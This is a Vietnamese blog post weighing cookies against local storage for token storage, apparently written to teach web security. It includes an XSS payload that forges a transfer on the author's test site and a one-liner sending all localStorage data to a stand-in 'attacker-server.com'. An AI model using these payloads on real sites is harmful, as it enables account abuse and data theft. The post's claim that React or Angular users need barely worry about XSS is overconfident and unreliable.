01 July, 2020
#39: Dùng Cookie hay Local Storage?
Một trong những câu hỏi mà mình hay gặp trên các group về lập trình, đó là nên dùng cookie hay local storage. Trong bài này, mình sẽ đưa ra một cái nhìn tổng quan hơn, nhất là về bảo mật – điều được chú trọng nhất khi đưa ra câu hỏi này.
Cookie
Cơ chế cookie là cơ chế lưu trữ token trên browser lâu đời nhất, và nó được sử dụng bởi các web lớn như Facebook, Google, Twitter,…
Điểm mạnh của cookie bao gồm:
- Nó có thể được đọc – ghi trực tiếp bởi server, tức là không cần có sự tác động của javascript từ phía client
- Có thể đặt được thời gian hết hạn (expiration)
- Có thể giới hạn cookie đối với 1 path nhất định, hoặc có thể chia sẻ 1 cookie cho nhiều subdomain (nhưng không thẻ chia sẻ cross-domain)
- ~~Cookie có thể dùng để ăn trong lúc đói~~
Tuy nhiên, vì sao mình không nói tới tính bảo mật như một điểm mạnh của cookie? Lý do vì nó dễ bị tấn công theo dạng CSRF (vì nó khá phổ biến nên bạn có thể tìm google để hiểu rõ hơn). Tất nhiên, kiểu tấn công này có thể được bảo vệ bằng các sử dụng cơ chế CSRF token, vốn được tích hơn sẵn trong các framework hiện đại như laravel, symfony,…
Nhiều người vẫn nghĩ sử dụng flag HttpOnly và SameSite Strict có thể chống hoàn toàn XSS, và việc sử dụng flag này đủ an toàn rồi, không cần quan tâm đến XSS. Tuy nhiên, điều này là không đúng! Dù không thể lấy được token, nhưng kẻ tấn công vẫn có toàn quyền điều khiển các hành động của người dùng.
Vẫn chưa thuyết phục? Hãy xem ví dụ sau đây của mình nhé:
- Mình có 1 website test, kiểu “ví điện tử” ở đây: https://nui-xss-cookie-test.000webhostapp.com/ , đã có sẵn cơ chế CSRF token, httponly, samesite strict cookie
- Đăng nhập bằng password ngxson
- Sau khi đăng nhập xong, bạn có thể “chuyển tiền” cho bạn bè bằng cách nhập vào form
- Mình có tạo sẵn 1 XSS vector: https://nui-xss-cookie-test.000webhostapp.com/?myxss=alert%281%29 , có thể trigger sau khi đã login
Ví dụ khi sử dụng bình thường
Vì là httponly nên chắc chắn với myxss=alert(document.cookie)
mình sẽ không thấy được php session token rồi. Tuy nhiên, mình vẫn có thể tạo script để gửi tiền cho người mình muốn, ví dụ thế này:
$.post(".", "csrf_token=" + $("input[name='csrf_token']")[0].value + "&to=attacker&amount=10000&action=Make transaction");
Payload này khi đưa vào URL:
Khi bấm vào, bạn sẽ không thấy có gì xảy ra, vì khi request được gửi bởi $.post thì page đã load xong rồi. Nhưng nếu bạn bấm F5 thì sẽ thấy:
Giao dịch được tạo nhờ XSS attack
Như vậy, rõ ràng kể cả sử dụng HttpOnly hay SameSite flag, thì bạn vẫn không thể phớt lờ việc bảo vệ web của bạn khỏi XSS.
Local Storage
Local Storage và Session Storage ra đời sau Cookie, nó dựa trên Web Storage API, và chỉ có thể truy cập / chỉnh sửa thông qua javascript
Ưu điểm lớn nhất của Local storage là nó dễ dàng sử dụng, vì chỉ có 4 lệnh chính là getItem
, setItem
, removeItem
và clear
Tuy nhiên, vì việc truy cập local storage bắt buộc phải sử dụng javascript, nên cơ chế server side render không thể sử dụng được. Ngoài ra, bạn cũng không thể đặt thời gian hết hạn (expiration) cho item trong local storage. Item trong local storage cũng không thể được chia sẻ giữa các subdomain.
Về bảo mật, local storage cũng dễ bị tấn công bởi XSS. Chỉ cần một XSS vector đơn giản như $.post('//attacker-server.com', JSON.stringify(localStorage))
cũng có thể dùng để gửi toàn bộ thông tin lưu trong local storage về server của kẻ tấn công. Và nếu bạn lưu cả token trong local storage thì thật không may, bạn phải xóa toàn bộ token và bắt user đăng nhập lại.
Dùng cái nào?
Nếu nói như trên thì rõ ràng, local storage có quá nhiều hạn chế so với cookie, nhưng liệu rằng như vậy có đủ kết luận rằng bạn nên dùng cookie hơn?
Câu trả lời không nằm ở việc tính năng hay bảo mật, mà lại nằm ở khiến trúc phần mềm bạn sử dụng:
- Đối với server-side render, bạn bắt buộc phải dùng cookie. Tuy nhiên như vậy, bạn sẽ phải cân nhắc tới việc bảo vệ web khỏi XSS lẫn CSRF, và chắc chắn là sẽ mmệt hơn rồi!
- Ngược lại, nếu bạn dùng client-side render (như single page application chẳng hạn), thì việc sử dụng cookie gần như không đem lại lợi ích gì cả. Hơn nữa, với các framework frontend mới như ReactJS hay Angular, bạn gần như không phải quan tâm đến XSS vì bạn thân framework đã ngăn chặn XSS khá tốt rồi.
Lời kết
Cookie hay local storage, không có cái nào bảo mật hơn cái nào cả. Hy vọng bài viết này sẽ cho bạn một cái nhìn tổng quan hơn về việc lựa chọn cookie hay local storage.
P/s: Mình đang viết loạt bài liên quan đến việc “tự chế” một hệ thống Single Sign-On. Các bạn hãy đăng ký nhận bài qua chatbot để có những thông tin mới nhất nhé: